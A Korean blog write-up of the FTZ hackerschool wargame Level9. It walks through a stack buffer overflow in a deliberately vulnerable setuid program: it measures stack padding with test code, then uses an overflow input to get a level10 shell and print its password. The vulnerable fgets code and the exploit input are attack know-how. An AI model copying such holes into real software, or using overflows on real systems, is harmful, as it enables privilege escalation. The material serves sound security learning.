본문으로 바로가기

Level9 문제 해결

category Security/리버싱 2017. 11. 30. 21:13

ftz.hackerschool.org 의 이미지를 가지고 실습했습니다. 


-Level9

level9 / apple


[level9@ftz level9]$ ls -l

 

 합계 12

-rw-r--r--    1 root     root          391 11월 13  2002 hint

drwxr-xr-x    2 root     level9       4096  2월 24  2002 public_html

drwxrwxr-x    2 root     level9       4096  1월 16  2009 tmp

 


[level9@ftz level9]$ cat hint

 


다음은 /usr/bin/bof의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}


이를 이용하여 level10의 권한을 얻어라.


 

 

> 힌트의 소스를 보니 오버플로우를 시키는 코드인것 같다. ( 출력문만 봐도 )

> char buf[10] -> buf에 10byte 공간을 할당하는데 

> fgets(buf,40,stdin)  ->  40byte나 넣을 수 있게 작성 되었다. ( 오버플로우 )

> 조건을 만족하면 권한을 얻는데 아마 buf에 입력을 넘치게 해서  buf2에 go라는 문자를 넣으면 되는 것 같다. 


[level9@ftz level9]$ /usr/bin/bof

 

 It can be overflow : AAAAAAAAAAgo

 

> 역시 쉽게 해결되지 않는다. 10개의 A를 넣고 그 이후에는 buf2로 들어가는 게 아닌가 보다. 


> 프로그램이 시작되면 변수가 스택에 순서대로 공간을 할당받을 텐데 buf 다음에 buf2가 아닌가?

> 간단한 프로그램으로 확인을 해본다. 


[예상]

 

 <-- 낮은주소(0x00000000) 높은주소(0xFFFFFFFF) --> 

+------+---------+--------+--------+--------+--------+--------+--+-------+

|......|strFF[17]|strEE[9]|strDD[5]|strCC[3]|strBB[2]|strAA[1]|AA|.......|

+------+---------+--------+--------+--------+--------+--------+--+-------+

     주소1      주소2    주소3    주소4    주소5   주소6    주소7

 

> 각각의 변수가 차례대로 들어갈 것이다. 

> 확인은 (주소 6 - 주소 7)을 하면 주소 7에서 주소 6까지의 크기가 나온다. 

> 그 크기가 strAA[1]의 크기와 같은지 확인한다. (sizeof)


[level9@ftz level9]$ cd tmp

[level9@ftz tmp]$ vi distance.c

 

 #include <stdio.h>


int main()
{
        char AA;
        char strAA[1];
        char strBB[2];
        char strCC[3];
        char strDD[5];
        char strEE[9];
        char strFF[17];

        printf("AA's address: 0x%x, sizeof: 0x%x\n", &AA, sizeof(AA));

        printf("strAA[1]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strAA, strAA, &AA - strAA);

        printf("strBB[2]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strBB, sizeof(strBB), strAA - strBB);

        printf("strCC[3]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strCC, sizeof(strCC), strBB - strCC);

        printf("strDD[5]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strDD, sizeof(strDD), strCC - strDD);

        printf(" strEE[9]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strEE, sizeof(strEE), strDD - strEE);

        printf("strFF[17]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strFF, sizeof(strFF), strEE - strFF);


        return 0;
}

 

> strAA 의 주소와 strAA 의 크기, &AA - strAA 앞에 있던 변수와의 거리를 출력한다. 


[level9@ftz tmp]$ gcc -o distance distance.c

[level9@ftz tmp]$ ./distance

 

 AA's address: 0xbfffe1ef, sizeof: 0x1

strAA[1]'s address: 0xbfffe1ee, sizeof: 0x1, distance: 0x1

strBB[2]'s address: 0xbfffe1ec, sizeof: 0x2, distance: 0x2

strCC[3]'s address: 0xbfffe1d0, sizeof: 0x3, distance: 0x1c

strDD[5]'s address: 0xbfffe1c0, sizeof: 0x5, distance: 0x10

strEE[9]'s address: 0xbfffe1b0, sizeof: 0x9, distance: 0x10

strFF[17]'s address: 0xbfffe190, sizeof: 0x11, distance: 0x20

 

> 예상대로라면 sizeof 과 distance 값이 같아야한다. 


[실제]

 

+------+---------+---+--------+---+--------+---+--------+---+--------+--------+--+-------+

|......|strFF[17]|15 |strEE[9]|7  |strDD[5]|11 |strCC[3]|25 |strBB[2]|strAA[1]|AA|.......|

+------+---------+---+--------+---+--------+---+--------+---+--------+--------+--+-------+

     주소1         주소2         주소3        주소4        주소5    주소6    주소7

 

> 사이사이에 공간이 있다. 


- 더미공간 

특별히 의미가 있는 공간이 아닌 최근 컴파일러는 최적화 작업을 거치는데 이 작업이 cpu가 읽어들이기 좋은 형태로 약간의 공백을 알아서 삽입하는 작업이다.


[level9@ftz tmp]$ ls -l /usr/bin/bof

 

-rws--x---    1 level10  level9      12111  8월 19  2014 /usr/bin/bof

 

> gdb로 브레이크를 걸어서 buf와 buf2 주소를 알아내고 그 사이에 더미 공간을 알아내야하는데 권한이 없다.

> 힌트에서 소스를 모두 다 알려줬으니 하나 만들어서 그 프로그램을 분석한다. 



[level9@ftz tmp]$ vi bof.c

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


        char buf2[10];

        char buf[10];



        printf("It can be overflow : ");

        fgets(buf,40,stdin);


        printf("&buf=0x%x, &buf2=0x%x\n", buf, buf2);

 

        if ( strncmp(buf2, "go", 2) == 0 )

        {

                printf("Good Skill!\n");

                setreuid( 3010, 3010 );

                system("/bin/bash");

        }


}

 


[level9@ftz tmp]$ gcc -o bof bof.c
[level9@ftz tmp]$ ./bof

 

It can be overflow : aaa

&buf=0xbffff660, &buf2=0xbffff670

 

> 60 - 70 = 10 ( 16 byte ) buf와 buf2 는 16 만큼 떨어져 있다. 

> char 배열 이므로 buf는 10바이트 이다.  16 - 10 = 6byte 만큼 더미 공간이 있다. 



[level9@ftz level9]$ /usr/bin/bof

 

It can be overflow : aaaaaaaaaabbbbbbgo

Good Skill!

 

> level10으로 bash 쉘이 떨여졌다. 


[level10@ftz level9]$ id

 

 uid=3010(level10) gid=3009(level9) groups=3009(level9)

 


[level10@ftz level9]$ my-pass

 

 

Level10 Password is "interesting to hack!".


 


[스택의 구조] 

 

 <--- 스택이 증가 방향

-----------------------------------------------------------

10              6       10            6        4         4

buf[10]       dummy   buf2[10]      dummy     SFP   RET

0xbffff260            0xbffff270

AAAAAAAAAA    BBBBBB    go

-----------------------------------------------------------

<--- 낮은 메모리 주소                  높은 메모리 주소 --->

 


'Security > 리버싱' 카테고리의 다른 글

Level 10 문제 해결 (공유 메모리 해킹)  (0) 2017.12.01
Level9 응용 (스크립트로 반복되는 문자 입력)  (0) 2017.11.30
Level8 문제 해결  (0) 2017.11.30
Level7 의사코드  (0) 2017.11.30
Level7 문제 응용 (ASCII)  (0) 2017.11.30